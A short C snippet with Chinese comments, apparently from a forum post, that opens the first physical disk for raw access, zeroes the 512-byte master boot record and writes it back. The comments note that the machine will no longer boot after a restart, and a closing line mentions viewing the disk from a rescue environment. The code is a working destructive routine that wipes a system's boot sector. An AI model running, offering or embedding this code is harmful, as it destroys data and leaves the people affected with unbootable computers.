FILE * fd=fopen("\\.\PHYSICALDRIVE0","rb+"); char buffer[512]; fread(buffer,512,1,fd); //then you can edit buffer[512] as your wish...... fseek(fd,0,SEEK_SET); //很重要
memset(buffer,0,512); fwrite(buffer,512,1,fd); //把修改后的MBR写入到你的机器 fclose(fd); //大功告成
重启系统就启动不了了。。。。。。
大白菜下显示硬盘